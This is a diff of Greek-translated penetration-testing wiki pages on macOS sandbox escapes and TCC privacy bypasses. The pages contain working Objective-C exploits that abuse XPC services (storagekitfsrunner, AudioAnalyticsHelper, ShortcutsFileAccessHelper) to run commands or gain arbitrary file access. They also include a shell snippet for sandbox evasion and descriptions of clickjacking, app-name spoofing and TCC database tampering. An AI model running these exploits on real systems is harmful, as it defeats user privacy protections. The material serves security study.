> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς το quarantine attribute, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **quarantine** attribute στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**).
>
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), μπορείτε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
### Abusing Open functionality
@ -37,7 +37,7 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons
Ακόμα και αν μια εφαρμογή είναι **σχεδιασμένη να είναι σε sandbox** (`com.apple.security.app-sandbox`), είναι δυνατόν να παρακαμφθεί το sandbox αν εκτελείται από έναν LaunchAgent (`~/Library/LaunchAgents`) για παράδειγμα.\
Όπως εξηγήθηκε σε [**αυτή την ανάρτηση**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), αν θέλετε να αποκτήσετε επιμονή με μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να την κάνετε να εκτελείται αυτόματα ως LaunchAgent και ίσως να εισάγετε κακόβουλο κώδικα μέσω μεταβλητών περιβάλλοντος DyLib.
Όπως εξηγήθηκε σε [**αυτή την ανάρτηση**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), αν θέλετε να αποκτήσετε επιμονή με μια εφαρμογή που είναι σε sandbox μπορείτε να την κάνετε να εκτελείται αυτόματα ως LaunchAgent και ίσως να εισάγετε κακόβουλο κώδικα μέσω μεταβλητών περιβάλλοντος DyLib.
### Abusing Auto Start Locations
@ -59,23 +59,184 @@ macos-office-sandbox-bypasses.md
../../../macos-proces-abuse/
{{#endref}}
### Static Compiling & Dynamically linking
### Available System and User Mach services
[**Αυτή η έρευνα**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ανακάλυψε 2 τρόπους για να παρακαμφθεί το Sandbox. Επειδή το sandbox εφαρμόζεται από το userland όταν φορτώνεται η βιβλιοθήκη **libSystem**. Αν ένα δυαδικό αρχείο μπορούσε να αποφύγει τη φόρτωσή του, δεν θα μπήκε ποτέ σε sandbox:
Το sandbox επιτρέπει επίσης την επικοινωνία με ορισμένες **Mach υπηρεσίες** μέσω XPC που ορίζονται στο προφίλ `application.sb`. Αν μπορείτε να **εκμεταλλευτείτε** μία από αυτές τις υπηρεσίες, μπορεί να είστε σε θέση να **διαφύγετε από το sandbox**.
- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά μεταγλωττισμένο**, θα μπορούσε να αποφύγει τη φόρτωση αυτής της βιβλιοθήκης.
- Αν το **δυαδικό αρχείο δεν χρειαζόταν να φορτώσει καμία βιβλιοθήκη** (επειδή ο σύνδεσμος είναι επίσης στη libSystem), δεν θα χρειαστεί να φορτώσει τη libSystem.
Όπως αναφέρεται σε [αυτή την ανάλυση](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), οι πληροφορίες σχετικά με τις Mach υπηρεσίες αποθηκεύονται στο `/System/Library/xpc/launchd.plist`. Είναι δυνατόν να βρείτε όλες τις Mach υπηρεσίες του Συστήματος και του Χρήστη αναζητώντας μέσα σε αυτό το αρχείο για `<string>System</string>` και `<string>User</string>`.
Επιπλέον, είναι δυνατόν να ελέγξετε αν μια Mach υπηρεσία είναι διαθέσιμη σε μια εφαρμογή που είναι σε sandbox καλώντας το `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### Διαθέσιμες υπηρεσίες PID Mach
Αυτές οι υπηρεσίες Mach χρησιμοποιήθηκαν αρχικά για να [ξεφύγουν από το sandbox σε αυτή την αναφορά](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Μέχρι τότε, **όλες οι υπηρεσίες XPC που απαιτούνταν** από μια εφαρμογή και το πλαίσιο της ήταν ορατές στο πεδίο PID της εφαρμογής (αυτές είναι οι υπηρεσίες Mach με `ServiceType` ως `Application`).
Για να **επικοινωνήσετε με μια υπηρεσία XPC του PID Domain**, χρειάζεται απλώς να την καταχωρίσετε μέσα στην εφαρμογή με μια γραμμή όπως:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
Επιπλέον, είναι δυνατόν να βρείτε όλες τις **Application** Mach υπηρεσίες αναζητώντας μέσα στο `System/Library/xpc/launchd.plist` για `<string>Application</string>`.
Ένας άλλος τρόπος για να βρείτε έγκυρες xpc υπηρεσίες είναι να ελέγξετε αυτές που βρίσκονται σε:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
Μερικά παραδείγματα που εκμεταλλεύονται αυτή την τεχνική μπορούν να βρεθούν στην [**πρωτότυπη αναφορά**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), ωστόσο, τα παρακάτω είναι μερικά συνοπτικά παραδείγματα.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Αυτή η υπηρεσία επιτρέπει κάθε σύνδεση XPC επιστρέφοντας πάντα `YES` και η μέθοδος `runTask:arguments:withReply:` εκτελεί μια αυθαίρετη εντολή με αυθαίρετες παραμέτρους.
Η εκμετάλλευση ήταν "τόσο απλή όσο":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη επιστρέφοντας πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` ουσιαστικά επέτρεπε να υποδειχθεί η διαδρομή σε έναν φάκελο προς συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP.
Επομένως, είναι δυνατό να δημιουργηθεί μια ψεύτικη δομή φακέλου εφαρμογής, να συμπιεστεί, στη συνέχεια να αποσυμπιεστεί και να εκτελεστεί για να ξεφύγει από το sandbox καθώς τα νέα αρχεία δεν θα έχουν το χαρακτηριστικό καραντίνας.
Η εκμετάλλευση ήταν:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Αυτή η υπηρεσία XPC επιτρέπει την παροχή δικαιωμάτων ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:` που δέχεται οποιαδήποτε σύνδεση. Καθώς η υπηρεσία XPC έχει FDA, είναι δυνατόν να καταχραστούν αυτά τα δικαιώματα για να παρακαμφθεί εντελώς το TCC.
Η εκμετάλλευση ήταν:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### Στατική Συγκέντρωση & Δυναμική Σύνδεση
[**Αυτή η έρευνα**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ανακάλυψε 2 τρόπους για να παρακαμφθεί το Sandbox. Επειδή το sandbox εφαρμόζεται από το userland όταν η βιβλιοθήκη **libSystem** φορτώνεται. Αν ένα δυαδικό αρχείο μπορούσε να αποφύγει τη φόρτωσή του, δεν θα υποβαλλόταν ποτέ σε sandbox:
- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά συγκεντρωμένο**, θα μπορούσε να αποφύγει τη φόρτωση αυτής της βιβλιοθήκης.
- Αν το **δυαδικό αρχείο δεν χρειαζόταν να φορτώσει καμία βιβλιοθήκη** (επειδή ο σύνδεσμος είναι επίσης στο libSystem), δεν θα χρειαστεί να φορτώσει το libSystem.
### Shellcodes
Σημειώστε ότι **ακόμα και οι shellcodes** σε ARM64 χρειάζονται να συνδεθούν στη `libSystem.dylib`:
Σημειώστε ότι **ακόμα και τα shellcodes** σε ARM64 χρειάζονται να συνδεθούν στο `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### Όχι κληρονομούμενοι περιορισμοί
Σημειώστε ότι ακόμη και αν ορισμένες **ενέργειες** μπορεί να είναι **επιτρεπτές από το sandbox** αν μια εφαρμογή έχει μια συγκεκριμένη **δικαιοδοσία**, όπως στο:
Όπως εξηγείται στο **[bonus of this writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
μπορεί να παρακαμφθεί από μια νέα διαδικασία που εκτελείται για παράδειγμα:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
Ωστόσο, φυσικά, αυτή η νέα διαδικασία δεν θα κληρονομήσει δικαιώματα ή προνόμια από τη γονική διαδικασία.
### Δικαιώματα
Σημειώστε ότι ακόμη και αν ορισμένες **ενέργειες** μπορεί να είναι **επιτρεπτές από το sandbox** αν μια εφαρμογή έχει ένα συγκεκριμένο **δικαίωμα**, όπως στο:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))

View File

@ -6,7 +6,7 @@
### Παράκαμψη Γραφής
Αυτό δεν είναι μια παράκαμψη, είναι απλώς πώς λειτουργεί το TCC: **Δεν προστατεύει από τη γραφή**. Αν το Terminal **δεν έχει πρόσβαση για να διαβάσει την Επιφάνεια Εργασίας ενός χρήστη, μπορεί ακόμα να γράψει σε αυτήν**:
Αυτή δεν είναι μια παράκαμψη, είναι απλώς πώς λειτουργεί το TCC: **Δεν προστατεύει από τη γραφή**. Αν το Terminal **δεν έχει πρόσβαση για να διαβάσει την Επιφάνεια Εργασίας ενός χρήστη, μπορεί ακόμα να γράψει σε αυτήν**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -20,14 +20,14 @@ asd
### TCC ClickJacking
Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από την προτροπή TCC** ώστε ο χρήστης να **αποδεχτεί** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από την προτροπή TCC** για να κάνετε τον χρήστη να **αποδεχτεί** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### TCC Request by arbitrary name
Ο επιτιθέμενος μπορεί να **δημιουργήσει εφαρμογές με οποιοδήποτε όνομα** (π.χ. Finder, Google Chrome...) στο **`Info.plist`** και να ζητήσει πρόσβαση σε κάποια προστατευμένη τοποθεσία TCC. Ο χρήστης θα νομίζει ότι η νόμιμη εφαρμογή είναι αυτή που ζητά αυτή την πρόσβαση.\
Επιπλέον, είναι δυνατόν να **αφαιρεθεί η νόμιμη εφαρμογή από το Dock και να τοποθετηθεί η ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
Επιπλέον, είναι δυνατόν να **αφαιρέσετε την νόμιμη εφαρμογή από το Dock και να βάλετε την ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -58,11 +58,11 @@ asd
### iCloud
Η εξουσιοδότηση **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει iCloud tokens**.
Η άδεια **`com.apple.private.icloud-account-access`** είναι δυνατή για να επικοινωνήσει με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει iCloud tokens**.
**iMovie** και **Garageband** είχαν αυτή την εξουσιοδότηση και άλλες που το επέτρεπαν.
**iMovie** και **Garageband** είχαν αυτή την άδεια και άλλες που επέτρεπαν.
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε iCloud tokens** από αυτή την εξουσιοδότηση, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε iCloud tokens** από αυτή την άδεια, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
@ -74,7 +74,7 @@ asd
macos-apple-scripts.md
{{#endref}}
Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω από το `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση πάνω από το iTerm:
Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω στο `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση πάνω στο iTerm:
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Ο χρήστης **tccd daemon** χρησιμοποιεί τη μεταβλητή **`HOME`** **env** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Ο χρήστης **tccd daemon** χρησιμοποιούσε τη μεταβλητή **`HOME`** **env** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Σύμφωνα με [αυτή την ανάρτηση στο Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) και επειδή ο daemon TCC εκτελείται μέσω του `launchd` εντός του τομέα του τρέχοντος χρήστη, είναι δυνατό να **ελέγξει όλες τις μεταβλητές περιβάλλοντος** που του περνιούνται.\
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC**, και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **κάθε δικαίωμα TCC διαθέσιμο** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC**, και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **όλες τις διαθέσιμες εξουσιοδοτήσεις TCC** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -145,7 +145,7 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Σημειώσεις
Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες που προστατεύονται από το TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (δηλαδή σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες προστατευμένες από το TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (δηλαδή σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
@ -162,19 +162,18 @@ $> ls ~/Documents
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) για να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **κάθε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτή την τοποθεσία**. Σε αυτή την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή.
**Περισσότερες πληροφορίες** [**στην αναφορά**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **και** [**στην ομιλία**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **κάθε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την τοποθεσία**. Σε αυτήν την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή.\
**Περισσότερες πληροφορίες** [**στην αναφορά**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **και**[ **στην ομιλία**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL ερωτήματα. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite ερωτήματα τους.
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες που προστατεύονται από το TCC.
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες προστατευμένες από το TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
@ -185,7 +184,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Ρυθμίζοντας το εξής: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Αν το `path` είναι έγκυρος φάκελος, το σφάλμα θα ενεργοποιηθεί και μπορούμε να χρησιμοποιήσουμε το `fs_usage` για να δούμε τι συμβαίνει στο πρόγραμμα:
- ένα αρχείο θα `open()`αριστεί, ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- ένα αρχείο θα `open()`εται, που ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- ένα ή περισσότερα `write()` θα γράψουν τα περιεχόμενα στο αρχείο (δεν το ελέγχουμε αυτό)
- το `path/.dat.nosyncXXXX.XXXXXX` θα `renamed()` σε `path/name`
@ -194,22 +193,22 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε Race Condition. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`.
> [!CAUTION]
> Ουσιαστικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε μια RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
> Ουσιαστικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε ένα RCE και να το κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
>
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχικό αρχείο ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού για να δείξετε σε ένα symlink, ώστε να μπορείτε να γράφετε όποτε θέλετε.
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχείο προέλευσης ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού για να δείξετε σε ένα symlink, ώστε να μπορείτε να γράφετε όποτε θέλετε.
Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη `TCC.db` του χρήστη, μπορούμε:
Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη βάση δεδομένων `TCC.db` του χρήστη, μπορούμε:
